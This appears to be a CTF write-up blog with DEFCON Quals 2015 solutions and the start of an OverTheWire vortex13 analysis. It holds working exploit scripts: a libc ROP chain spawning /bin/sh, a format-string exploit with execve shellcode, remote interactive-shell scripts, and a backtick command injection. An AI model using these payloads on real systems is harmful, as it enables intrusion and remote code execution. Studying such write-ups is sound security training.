choppers

DEFCON Quals 2015: catwestern

2015-05-17 00:00:04

Description

Coding Challenge: 1 point
catwestern

meow
catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me 9999

Analysis

$ nc catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me 9999
****Initial Register State****
rax=0xa0504ecce73afa76
rbx=0x5a13d4eedde89dd6
rcx=0x57133954268c4e0a
rdx=0x26ff55a0946d596f
rsi=0x88083114e942934
rdi=0xf44d57a3d3d198
r8=0xb28f1b7728f2f12a
r9=0xb5ad8bf05cf8c443
r10=0x7d1447be2beb4f34
r11=0xf0cc61bb5cf39c82
r12=0x9667b7e6afbc0605
r13=0x5aea9b213e8d6054
r14=0x7f5cf31d13c648a8
r15=0x14e7334ea89a915a
****Send Solution In The Same Format****
About to send 80 bytes:
......................................................................................
$

On connecting to the server, you get sent a list of register values for a AMD64 cpu, then some number of bytes of binary data. It appears that the binary data is AMD64 instructions.

$ nc catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me 9999 | awk 'NR > 17' | ndisasm -b 64 -
00000000  4C19C2            sbb rdx,r8
00000003  49FFCB            dec r11
00000006  49F7DA            neg r10
00000009  480FC8            bswap rax
0000000C  48FFCF            dec rdi
0000000F  4881EB012ACF3A    sub rbx,0x3acf2a01
00000016  4819F1            sbb rcx,rsi
00000019  49F7E0            mul r8
0000001C  4921CF            and r15,rcx
0000001F  49F7D7            not r15
00000022  4C09DA            or rdx,r11
00000025  4D29C2            sub r10,r8
00000028  6863A55C16        push qword 0x165ca563
0000002D  48F7E7            mul rdi
00000030  4881D32371CF27    adc rbx,0x27cf7123
00000037  49F7DC            neg r12
0000003A  4809D0            or rax,rdx
0000003D  480FCF            bswap rdi
00000040  49FFCC            dec r12
00000043  4881F35B491135    xor rbx,0x3511495b
0000004A  415D              pop r13
0000004C  C3                ret
0000004D  0A                db 0x0a
$

I assumed the challenge is to give the final register state after execution.

Solution

catwestern.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>

#include <sys/mman.h>

struct registers {
    uint64_t rax;
    uint64_t rbx;
    uint64_t rcx;
    uint64_t rdx;
    uint64_t rsi;
    uint64_t rdi;
    uint64_t r8;
    uint64_t r9;
    uint64_t r10;
    uint64_t r11;
    uint64_t r12;
    uint64_t r13;
    uint64_t r14;
    uint64_t r15;
};

int read_input(struct registers *regs, int *len, uint8_t *instructions){
    char buf[1024];
    char *c = &buf[4];

    fgets(buf, sizeof(buf), stdin);
    fgets(buf, sizeof(buf), stdin); regs->rax = strtoull(c, NULL, 16);
    fgets(buf, sizeof(buf), stdin); regs->rbx = strtoull(c, NULL, 16);
    fgets(buf, sizeof(buf), stdin); regs->rcx = strtoull(c, NULL, 16);
    fgets(buf, sizeof(buf), stdin); regs->rdx = strtoull(c, NULL, 16);
    fgets(buf, sizeof(buf), stdin); regs->rsi = strtoull(c, NULL, 16);
    fgets(buf, sizeof(buf), stdin); regs->rdi = strtoull(c, NULL, 16);
    fgets(buf, sizeof(buf), stdin); regs->r8 = strtoull(c-1, NULL, 16);
    fgets(buf, sizeof(buf), stdin); regs->r9 = strtoull(c-1, NULL, 16);
    fgets(buf, sizeof(buf), stdin); regs->r10 = strtoull(c, NULL, 16);
    fgets(buf, sizeof(buf), stdin); regs->r11 = strtoull(c, NULL, 16);
    fgets(buf, sizeof(buf), stdin); regs->r12 = strtoull(c, NULL, 16);
    fgets(buf, sizeof(buf), stdin); regs->r13 = strtoull(c, NULL, 16);
    fgets(buf, sizeof(buf), stdin); regs->r14 = strtoull(c, NULL, 16);
    fgets(buf, sizeof(buf), stdin); regs->r15 = strtoull(c, NULL, 16);
    fgets(buf, sizeof(buf), stdin);
    fgets(buf, sizeof(buf), stdin); *len = strtol(&buf[14], NULL, 10);

    if(*len > 1024){
        fprintf(stderr, "len too big: %d\n", *len);
        exit(1);
    }

    fread(instructions, sizeof(uint8_t), *len, stdin);

    return 0;
}

int run_program(struct registers *regs, int len, uint8_t *instructions, struct registers *regs_out){
    static uint64_t fake_stack[64];
    static uint64_t *fake_stack_pointer;
    static uint64_t *real_stack_pointer;
    uint8_t *text;
    uint8_t *myrsp = 0;

    text = mmap(NULL, 1024*4, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, -1, 0);
    if(text == MAP_FAILED){
        fprintf(stderr, "mmap() error: %d\n", errno);
        exit(1);
    }

    memcpy(text, instructions, len);

    fake_stack[63] = (uint64_t) text;
    fake_stack[62] = regs->r15;
    fake_stack[61] = regs->r14;
    fake_stack[60] = regs->r13;
    fake_stack[59] = regs->r12;
    fake_stack[58] = regs->r11;
    fake_stack[57] = regs->r10;
    fake_stack[56] = regs->r9;
    fake_stack[55] = regs->r8;
    fake_stack[54] = regs->rdi;
    fake_stack[53] = regs->rsi;
    fake_stack[52] = regs->rdx;
    fake_stack[51] = regs->rcx;
    fake_stack[50] = regs->rbx;
    fake_stack[49] = regs->rax;
    fake_stack_pointer = &fake_stack[49];


    asm(
        "movq %%rsp,%0\n"
        "movq %1,%%rsp\n"
        "popq %%rax\n"
        "popq %%rbx\n"
        "popq %%rcx\n"
        "popq %%rdx\n"
        "popq %%rsi\n"
        "popq %%rdi\n"
        "popq %%r8\n"
        "popq %%r9\n"
        "popq %%r10\n"
        "popq %%r11\n"
        "popq %%r12\n"
        "popq %%r13\n"
        "popq %%r14\n"
        "popq %%r15\n"
        "callq *(%%rsp)\n"
        "push %%r15\n"
        "push %%r14\n"
        "push %%r13\n"
        "push %%r12\n"
        "push %%r11\n"
        "push %%r10\n"
        "push %%r9\n"
        "push %%r8\n"
        "push %%rdi\n"
        "push %%rsi\n"
        "push %%rdx\n"
        "push %%rcx\n"
        "push %%rbx\n"
        "push %%rax\n"
        "movq %0,%%rsp\n"
        : "=m" (real_stack_pointer)  /* output */
        : "m" (fake_stack_pointer)   /* input */
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r8", "%r9", "%r10", "%r11", "%r12", "%r13", "%r14", "%r15", "%rsp"
    );
    memcpy(regs_out, fake_stack_pointer, sizeof(*regs));

    return 0;
}

int main(int argc, char *argv[]){
    struct registers regs;
    struct registers regs_out;
    int len;
    uint8_t instructions[1024];

    memset(&regs, 0, sizeof(regs));
    memset(&regs_out, 0, sizeof(regs_out));
    read_input(&regs, &len, instructions);

    run_program(&regs, len, instructions, &regs_out);

    printf("rax=0x%016llx\n", regs_out.rax);
    printf("rbx=0x%016llx\n", regs_out.rbx);
    printf("rcx=0x%016llx\n", regs_out.rcx);
    printf("rdx=0x%016llx\n", regs_out.rdx);
    printf("rsi=0x%016llx\n", regs_out.rsi);
    printf("rdi=0x%016llx\n", regs_out.rdi);
    printf("r8=0x%016llx\n", regs_out.r8);
    printf("r9=0x%016llx\n", regs_out.r9);
    printf("r10=0x%016llx\n", regs_out.r10);
    printf("r11=0x%016llx\n", regs_out.r11);
    printf("r12=0x%016llx\n", regs_out.r12);
    printf("r13=0x%016llx\n", regs_out.r13);
    printf("r14=0x%016llx\n", regs_out.r14);
    printf("r15=0x%016llx\n", regs_out.r15);
    return 0;
}

Output

$ mkfifo f; cat f | ./catwestern | nc catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me 9999 | tee f
****Initial Register State****
rax=0xa4fe3da0bf290370
rbx=0xdaefffdc0caf0516
rcx=0xc1b387cbd582dce2
rdx=0xa4736131e5709b8f
rsi=0xa2c134694541df80
rdi=0x21bdeef6e0da34da
r8=0xda738fde001026a6
r9=0x97e2df6bdacad7d2
r10=0x176246f48f74cfc6
r11=0xa3bc0728d6799d08
r12=0x2372c1bbc0baf8a9
r13=0x4047f8d298fcb13c
r14=0xbcdc58738df27530
r15=0x4ff91aac5a0321c4
****Send Solution In The Same Format****
About to send 80 bytes:
...............................................................................................................................The flag is: Cats with frickin lazer beamz on top of their heads!

DEFCON Quals 2015: r0pbaby

2015-05-17 00:00:03

Description

Baby's First: 1 point
r0pbaby

r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me:10436
Download(http://downloads.notmalware.ru/r0pbaby_542ee6516410709a1421141501f03760)

Analysis

$ md5sum r0pbaby
542ee6516410709a1421141501f03760  r0pbaby
$ file r0pbaby
r0pbaby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, stripped
$ /usr/sbin/execstack r0pbaby
- r0pbaby
$ ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 4
Exiting.
$

r0pbaby has 3 options: Option 1: "Get libc address". Prints the pointer to the link_map structure, not the base address of libc.

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FFFF7FF79B0

Option 2: "Get address of a libc function". It takes a symbol name as input, and returns the current address in memory.

1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: printf
Symbol printf: 0x00007FFFF787FD50

Option 3: "Nom nom r0p buffer to stack". It takes an integer as length then reads in that many bytes.

1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 5
AAAA

Exploit Mitigations

Vulnerability

All we need to do is supply a ROP chain to take access.

Exploit

I decided to make a ROP chain that will run system("/bin/sh"). Because r0pbaby is PIE, I will only get ROP gadgets from libc.

Disable ASLR for local testing

Disabling ASLR will make testing much simpler. This needs to be run as root.

# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
#

Determining libc Base Address

We will need to find the base address of libc in order to calculate the position of gadgets and strings we will need. By finding the offset from a symbol to the base address, we can calculate the base address from a symbol address.

$ nm -D /lib/x86_64-linux-gnu/libc-2.19.so | grep __libc_system
00000000000414f0 T __libc_system
$ ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: __libc_system
Symbol __libc_system: 0x00007FFFF78704F0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 4
Exiting.
$ python -c "print 'Base Address: ', hex(0x00007FFFF78704F0 - 0x00000000000414f0)"
Base Address:  0x7ffff782f000
$

Finding the Offset to /bin/sh in libc

Using rp++, we can find the offset to '/bin/sh\x00'. For my version of libc, it's at offset 0x00161160.

$./rp++ -f /lib/x86_64-linux-gnu/libc-2.19.so --search-hexa="/bin/sh\x00"
Trying to open 'libc-2.19.so'..
Loading ELF information..
FileFormat: Elf, Arch: Ia64
0x00161160: /bin/sh\x00
$

Finding a Suitable Gadget

The GCC calling convention for x86-64 puts the first parameter in the register rdi. We need a gadget that will load the address of the string /bin/sh into rdi. A pop rdi ; ret ; gadget will be perfect for this. For my version of libc, one can be found at offset 0x00022442.

$ ./rp-osx-x64 --unique -f libc-2.19.so -r 1 | grep "pop rdi"
0x000e604a: pop rdi ; call rax ;  (1 found)
0x0015c941: pop rdi ; jmp qword [rax+0x20FFF260] ;  (1 found)
0x0007c943: pop rdi ; jmp rax ;  (2 found)
0x00104841: pop rdi ; rep ret  ;  (1 found)
0x00022442: pop rdi ; ret  ;  (477 found)
$

Writing a Local Exploit

#!/usr/bin/python

import struct

LIBC_BASE_ADDR = 0x7ffff782f000
SYSTEM_OFFSET = 0x00000000000414f0
BINSH_OFFSET = 0x00161160
POP_RDI_RET_OFFSET = 0x00022442

system_addr = LIBC_BASE_ADDR + SYSTEM_OFFSET
binsh_addr = LIBC_BASE_ADDR + BINSH_OFFSET
pop_rdi_ret_addr = LIBC_BASE_ADDR + POP_RDI_RET_OFFSET

print "3"   # Option 3: Load ROP CHAIN
print 8*4   # Size: 4 8-byte words
print struct.pack("QQQQ", 0xAAAABBBBCCCCDDDD, pop_rdi_ret_addr, binsh_addr, system_addr) + "4"
$ { ./sploit_local.py; cat -;} | ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Enter bytes to send (max 1024): 1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Exiting.
uname -a
Linux deb64 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) x86_64 GNU/Linux
^C
Segmentation fault

Writing a Remote Exploit

For a remote exploit, you don't have the convenience of knowing the exact version of libc. That's why it's important to maintain a database of libc's from different distros.

#!/usr/bin/python

import struct
import socket
import telnetlib

class RopBaby:
    def __init__(self, host, port, logging=False):
        self.logging = logging

        family = socket.AF_INET
        type_ = socket.SOCK_STREAM
        proto = socket.IPPROTO_TCP
        self.s = socket.socket(family, type_, proto)
        self.s.connect((host, port))

        self.recv_until(("\n: ",))

    def send(self, tx):
        self.s.sendall(tx)
        if self.logging:
            print "TX:", repr(tx)

    def recv(self, at_most=1024):
        seg = self.s.recv(at_most)
        if len(seg) == 0:
            self.s.close()
            raise Exception("Remote peer closed connection")
        if self.logging:
            print "RX:", repr(seg)
        return seg

    def recv_nbytes(self, nbytes):
        rx = ""
        for i in xrange(0, nbytes):
            rx += self.recv(1)
        return rx

    def find_needles(self, buff, needles):
        for n in needles:
            if buff.find(n) != -1:
                return True
        return False

    def recv_until(self, needles):
        rx = ""
        while self.find_needles(rx, needles) is False:
            rx += self.recv(1)
        return rx

    def do_get_libc_addr(self):
        self.send("1\n")
        self.recv_until(("libc.so.6: ",))
        addr_str = self.recv_until(("\n", ))
        addr = int(addr_str, 16)
        self.recv_until(("\n: ",))
        return addr

    def do_get_symbol_addr(self, symbol):
        self.send("2\n")
        self.recv_until(("symbol: ", ))
        self.send(symbol + "\n")
        self.recv_until((": ",))
        addr_str = self.recv_until(("\n",))
        addr = int(addr_str, 16)
        self.recv_until(("\n: ",))
        return addr

    def do_load_buffer(self, payload):
        self.send("3\n")
        self.recv_until(("1024): ", ))
        self.send(str(len(payload)) + "\n")
        self.send(payload)
        self.recv_until(("\n: ", ))

    def do_exit(self):
        self.send("4\n")
        self.recv_until(("Exiting.\n",))


def exploit(ropbaby, system_offset, binsh_offset, pop_rdi_ret_gadget_offset):
    system_addr = ropbaby.do_get_symbol_addr("system")
    libc_base = system_addr - system_offset

    pop_rdi_ret_gadget_addr = libc_base + pop_rdi_ret_gadget_offset
    binsh_addr = libc_base + binsh_offset

    buff = struct.pack("QQQQ", 0xAAAAAAAAAAAAAAAA, pop_rdi_ret_gadget_addr, binsh_addr, system_addr)
    ropbaby.do_load_buffer(buff)
    ropbaby.do_exit()
    print "Shell should be running..."
    t = telnetlib.Telnet()
    t.sock = ropbaby.s
    t.interact()

def main():
    target = "127.0.0.1"
    target = "r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me"
    system_offset=0x0
    binsh_offset=0x0
    pop_rdi_ret_gadget_offset=0x0

    if target == "127.0.0.1":
        system_offset=0x00000000000414f0
        binsh_offset=0x0161160
        pop_rdi_ret_gadget_offset=0x0002a1c2
    else:
        system_offset=0x00046640
        binsh_offset=0x0017ccdb
        pop_rdi_ret_gadget_offset=0x0006fc7b

    ropbaby = RopBaby(target, 10436, False)
    exploit(ropbaby, system_offset, binsh_offset, pop_rdi_ret_gadget_offset)


if __name__ == "__main__":
    main()
$ ./sploit_remote.py
Shell should be running...
id
uid=1001(r0pbaby) gid=1001(r0pbaby) groups=1001(r0pbaby)
cat /home/r0pbaby/flag
The flag is: W3lcome TO THE BIG L3agu3s kiddo, wasn't your first?
exit
*** Connection closed by remote host ***
$

DEFCON Quals 2015: mathwhiz

2015-05-17 00:00:02

Description

Baby's First: 1 point
mathwhiz

mathwhiz_c951d46fed68687ad93a84e702800b7a.quals.shallweplayaga.me:21249

Analysis

When you connect to the server, you get prompted with a simple math problem to solve.

$ nc mathwhiz_c951d46fed68687ad93a84e702800b7a.quals.shallweplayaga.me 21249
2 + 1 =
You took too long!  You lost after 1 rounds.
$

It looks like we have to write a simple expression evaluator, or just use python's eval function.

Solution

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("mathwhiz_c951d46fed68687ad93a84e702800b7a.quals.shallweplayaga.me", 21249))

while 1:
    line = s.recv(1024)
    print line[:-1]
    expression = line[:-2]
    expression = expression.replace("[", "(")
    expression = expression.replace("]", ")")
    expression = expression.replace("{", "(")
    expression = expression.replace("}", ")")
    expression = expression.replace("ONE", "1")
    expression = expression.replace("TWO", "2")
    expression = expression.replace("THREE", "3")
    expression = expression.replace("1^1", "1")
    expression = expression.replace("1^2", "1")
    expression = expression.replace("1^3", "1")
    expression = expression.replace("2^1", "2")
    expression = expression.replace("2^2", "4")
    expression = expression.replace("2^3", "8")
    expression = expression.replace("3^1", "3")
    expression = expression.replace("3^2", "9")
    expression = expression.replace("3^3", "27")
    print eval(expression)
    s.send(str(eval(expression)) + '\n')

s.close()
$ ./mathwhiz.py
2 + 1 =
3
1 + 1 =
2
2 + 1 =
3
3 - 2 =
1
1 + 1 =
2
...
1 + 3 - 2 =
2
1 - 1 + 2 + 1 =
3
3 - 1 - 1 + 1 =
2
1 + 1 + 1 =
3
You won!!!
The flag is: Farva says you are a FickenChucker and you'd better watch Super Troopers 2
.
Traceback (most recent call last):
  File "./mathwhiz.py", line 28, in <module>
    print eval(expression)
  File "<string>", line 1
    You won!!!
          ^
SyntaxError: invalid syntax
$

DEFCON Quals 2015: babyecho

2015-05-17 00:00:01

Description

Baby's First: 1 point

babyecho

babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me:3232
Download (http://downloads.notmalware.ru/babyecho_eb11fdf6e40236b1a37b7974c53b6c3d)

Analysis

$ md5sum babyecho
eb11fdf6e40236b1a37b7974c53b6c3d  babyecho
$ file babyecho
babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped
$ /usr/sbin/execstack babyecho
X babyecho
$ ./babyecho
Reading 13 bytes
^C
$

babyecho reads in at most 13 bytes from stdin, echos them back to you, then repeats forever.

$ ./babyecho
Reading 13 bytes
asdf
asdf
Reading 13 bytes
qwert
qwert
Reading 13 bytes
^C
$

Exploit Mitigations

Vulnerability

babyecho echos by passing its input into the format string parameter of printf. This is a classic format string bug.

$ ./babyecho
Reading 13 bytes
%x.%x.%x.%x.
d.a.0.d.
Reading 13 bytes
^C

Exploit

Patching a value in the .got section won't work because babyecho is statically-linked. Overwritting the return address of main won't work because main never returns, but it is possible to overwrite the return address of printf. I chose to patch an address in the .fini_array section and wait about 20 seconds for SIGALRM to trigger and the handler to call exit.

Disable ASLR for Testing

Disabling ASLR will make testing much simpler. This needs to be run as root.

# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
#

Leaking the Stack Address

To know where our shellcode is located on the stack, we need to leak an address from the stack. Using some python to generate input, we can dump the first few stack values to look for something interesting.

$ python -c "print '\n'.join([ x for x in map(lambda x: 'AAAA-%' + x + '\$08x', map(str, range(1,10)))])"
AAAA-%1$08x
AAAA-%2$08x
AAAA-%3$08x
AAAA-%4$08x
AAAA-%5$08x
AAAA-%6$08x
AAAA-%7$08x
AAAA-%8$08x
AAAA-%9$08x
$ python -c "print '\n'.join([ x for x in map(lambda x: 'AAAA-%' + x + '\$08x', map(str, range(1,10)))])" | ./babyecho
Reading 13 bytes
AAAA-0000000d
Reading 13 bytes
AAAA-0000000a
Reading 13 bytes
AAAA-00000000
Reading 13 bytes
AAAA-0000000d
Reading 13 bytes
AAAA-bffff34c
Reading 13 bytes
AAAA-00000000
Reading 13 bytes
AAAA-41414141
Reading 13 bytes
AAAA-2438252d
Reading 13 bytes
AAAA-00783830
Reading 13 bytes
$

The value at location 5 looks like a stack address because it's in the 0xBF000000 range. Also, the value at location 7 looks like the beginning of the actual input buffer because it's value is 0x41414141, or 'AAAA'.

$ echo %5\$08x | ./babyecho
Reading 13 bytes
bffff34c
Reading 13 bytes
$ echo %5\$s | ./babyecho
Reading 13 bytes
%5$s
Reading 13 bytes
$ echo AAAA-%7\$08x | ./babyecho
Reading 13 bytes
AAAA-41414141
Reading 13 bytes
$

We can also determine through debugging that the address 0xbffff34c points to the input buffer.

$ { echo hello world; sleep 15;} | ./babyecho & { sleep 2; gdb --pid=`pgrep babyecho` --ex "x/s 0xbffff34c"; }
[1] 11145
Reading 13 bytes
hello world
Reading 13 bytes
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 11145
Reading symbols from /home/wjl/babyecho/babyecho...(no debugging symbols found)...done.
0xb7ffdd20 in __kernel_vsyscall ()
0xbffff34c: "hello world"
(gdb)

Removing the 13 Byte Limit

Next, let's get rid of the pesky 13 byte limit by patching the local variable on the stack. Through static analysis, I've determined that the local variable responsible for the read length is located 0xC bytes before the input buffer.

$ python -c "import struct; print struct.pack('I', 0xbffff34C - 0x0C) + '%99d%7\$n'" | ./babyecho
Reading 13 bytes
@...                                                                                                 13
Reading 103 bytes
$

Patching .fini_array

The second record of the .fini is at 0x080E9F6C. overwritting it is trivial.

$ { python -c "import struct; print struct.pack('I', 0x080E9F6C) + '%7\$n'" ; sleep 22 ; } | ./babyecho
Reading 13 bytes
l...
Reading 13 bytes
too slow
Segmentation fault
$

We get a seg fault because EIP was set to 0x00000004.

Writing a Local Exploit

This local exploit assumes ASLR is disabled, and assumes the read buffer is at 0xbffff34c.

#!/usr/bin/python

import struct

stack_addr = 0xbffff34c
len_addr = stack_addr - 0xC
stack_addr_str = struct.pack("I", stack_addr)

shellcode = ""
shellcode += "\xEB\x13\x5E\xB8\x0B\x00\x00\x00\x89\xF3\x6A\x00\x56\x89\xE1\x6A"
shellcode += "\x00\x89\xE2\xCD\x80\xE8\xE8\xFF\xFF\xFF"
shellcode += "/bin/sh\x00"

# remove 13 byte restriction
print struct.pack("<I", len_addr) + "%99d%7$n"

# patch .fini_array one byte at a time to point to read buffer on the stack
print struct.pack("<I", 0x080E9F6C+0) + "%" + str(ord(stack_addr_str[0])-4) + "d%7$n"
print struct.pack("<I", 0x080E9F6C+1) + "%" + str(ord(stack_addr_str[1])-4) + "d%7$n"
print struct.pack("<I", 0x080E9F6C+2) + "%" + str(ord(stack_addr_str[2])-4) + "d%7$n"
print struct.pack("<I", 0x080E9F6C+3) + "%" + str(ord(stack_addr_str[3])-4) + "d%7$n"

# load shellcode into read buffer
print shellcode
$ { ./sploit_local.py; cat -; } | ./babyecho
Reading 13 bytes
@...                                                                                                 13
Reading 103 bytes
l...                                                                  103
Reading 103 bytes
m...                                                                                                 103
Reading 103 bytes
n...                                                                                         103
Reading 103 bytes
o...                                                                                              103
Reading 103 bytes
..........................................................................
Reading 103 bytes
too slow
uname -a
Linux deb32 3.16.0-4-586 #1 Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) i686 GNU/Linux
^C
$

Writing a Remote Exploit

#!/usr/bin/python

import socket
import struct
import telnetlib

HOST = "127.0.0.1"
HOST = "babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me"
PORT = 3232

FINI_ADDR = 0x080E9F6C

SHELLCODE = ""
SHELLCODE += "\xEB\x13\x5E\xB8\x0B\x00\x00\x00\x89\xF3\x6A\x00\x56\x89\xE1\x6A"
SHELLCODE += "\x00\x89\xE2\xCD\x80\xE8\xE8\xFF\xFF\xFF"
SHELLCODE += "/bin/sh\x00"

def recv_until(s, needle):
    rx = ""
    while not rx.endswith(needle):
        b = s.recv(1)
        if len(b) <= 0:
            raise Exception("(EE) Remote peer closed connection")
        rx += b
    # print "  (RX) ", repr(rx[:20])
    return rx

def send_all(s, tx):
    # print "  (TX) ", repr(tx[:20])
    s.sendall(tx)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
s.connect((HOST, PORT))
recv_until(s, "bytes\n")
print "[+] Connected!"

send_all(s, "%5$08x\n")
stack_addr_str = recv_until(s, "\n")
recv_until(s, "bytes\n")
stack_addr = int(stack_addr_str, 16)
print "[+] Stack Address:", hex(stack_addr)

send_all(s, struct.pack("<I", stack_addr-0xC) + "%99d%7$n\n")
recv_until(s, "\n")
recv_until(s, "bytes\n")
print "[+] Removed 13 byte limit"

for i,x in enumerate(struct.pack("<I", stack_addr)):
    b = ord(x) - 4
    if b <= 4:
        b += 0x100
    send_all(s, struct.pack("<I", FINI_ADDR+i) + "%" + str(b) + "d%7$n\n")
    recv_until(s, "bytes\n")
print "[+] Patched .fini_array"

send_all(s, SHELLCODE + "\n")
recv_until(s, "bytes\n")
print "[+] Sent shellcode"
print "[I] wait for 20 seconds..."
recv_until(s, "too slow\n")

print "[+] Shell should be ready"
send_all(s, "id\n")
t = telnetlib.Telnet()
t.sock = s
t.interact()
$ ./sploit_remote.py
[+] Connected!
[+] Stack Address: 0xffce5a1cL
[+] Removed 13 byte limit
[+] Patched .fini_array
[+] Sent shellcode
[I] wait for 20 seconds...
[+] Shell should be ready
uid=1001(babyecho) gid=1001(babyecho) groups=1001(babyecho)
cat /home/babyecho/flag
The flag is: 1s 1s th3r3 th3r3 @n @n 3ch0 3ch0 1n 1n h3r3 h3r3? 3uoiw!T0*%

DEFCON Quals 2015: babycmd

2015-05-17 00:00:00

Description

Baby's First: 1 point
babycmd

babycmd_3ad28b10e8ab283d7df81795075f600b.quals.shallweplayaga.me:15491
[Download](http://downloads.notmalware.ru/babycmd_3ad28b10e8ab283d7df81795075f600b)

Analysis

$ md5sum babycmd
3ad28b10e8ab283d7df81795075f600b  babycmd
$ file babycmd
babycmd: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, stripped
$ execstack babycmd
- babycmd
$ ./babycmd

Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
:

babycmd has 3 commands, ping, dig, and host. All of them are run through popen(). We just have to find one that will let us do a command line injection.

Exploit

The host command will let the "`" character through. This is used for command substitution in Bash. If sh is injected using the "`" character, we will get a shell, but we won't see any of the output until we exit the shell. Then the host process gets the output from sh and will output it in an error message.

$ nc babycmd_3ad28b10e8ab283d7df81795075f600b.quals.shallweplayaga.me 15491

Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host ggg`sh`ggg
cat /home/babycmd/flag
exit
host: 'gggThe flag is: Pretty easy eh!!~ Now let's try something hArd3r, shallwe??ggg' is not in legal name syntax (label too long)
Commands: ping, dig, host, exit
:

[DRAFT] OverTheWire.org: vortex13 (Long Play)

2014-10-09 00:00:00

Intro

Releasing the solution to a wargame challenge seems like cheating, but because geohot released his "speedrun" solution on youtube here, the cat is already out of the bag. His solution is very much a hack, so I've descided write a more complete solution, or a "long play".

Description

Inconveniences

How big is your shellcode? This level has a non-executable stack. You must login to vortex.labs.overthewire.org to complete this level.

Analysis

vortex13@melinda:~$ uname -a
Linux melinda 3.15.4-x86_64-linode45 #1 SMP Mon Jul 7 08:42:36 EDT 2014 x86_64 x86_64 x86_64 GNU/Linux
vortex13@melinda:~$
vortex13@melinda:~$ md5sum /vortex/vortex13
585d3aab6cc29a38037fd8f866452fb5  /vortex/vortex13
vortex13@melinda:~$
vortex13@melinda:~$ file /vortex/vortex13
/vortex/vortex13: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xe95066e05e1a5ab5ae1046c2c8380facf1cf6e13, not stripped
vortex13@melinda:~$
vortex13@melinda:~$ execstack /vortex/vortex13
- /vortex/vortex13
vortex13@melinda:~$
vortex13@melinda:~$ ls -alF /vortex/vortex13
-r-sr-x--- 1 vortex14 vortex13 7503 Jun  6  2013 /vortex/vortex13*
vortex13@melinda:~$ md5sum /vortex/vortex13
585d3aab6cc29a38037fd8f866452fb5  /vortex/vortex13
vortex13@melinda:~$
vortex13@melinda:~$ ldd /vortex/vortex13
        linux-gate.so.1 =>  (0xf7ffd000)
        libc.so.6 => /lib32/libc.so.6 (0xf7e49000)
        /lib/ld-linux.so.2 (0x56555000)
vortex13@melinda:~$ md5sum /lib32/libc.so.6
4ff10721c60bfecbd079993d8bd3e994  /lib32/libc.so.6

vortex13 is a setguid executable. Exploiting it will give you permissions of user vortex14 and you can read the password file /etc/vortex_pass/vortex14.

When vortex13 starts, all command line arguments and environment variables are overwritten with zeros, then the vuln() function is called.

char *allowed = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        "abcdefghijklmnopqrstuvwxyz"
        "0123456789%.$";

void __cdecl vuln()
{
        signed int i; // [sp+14h] [bp-14h]@3
        char *ptr; // [sp+1Ch] [bp-Ch]@1

        ptr = (char *)malloc(20u);
        if ( !fgets(ptr, 20, stdin) )
                exit(1);
        for ( i = 0; i <= 19; ++i )
        {
                if ( !strchr(allowed, ptr[i]) )
                        exit(1);
        }
        printf(ptr);
        free(ptr);
}

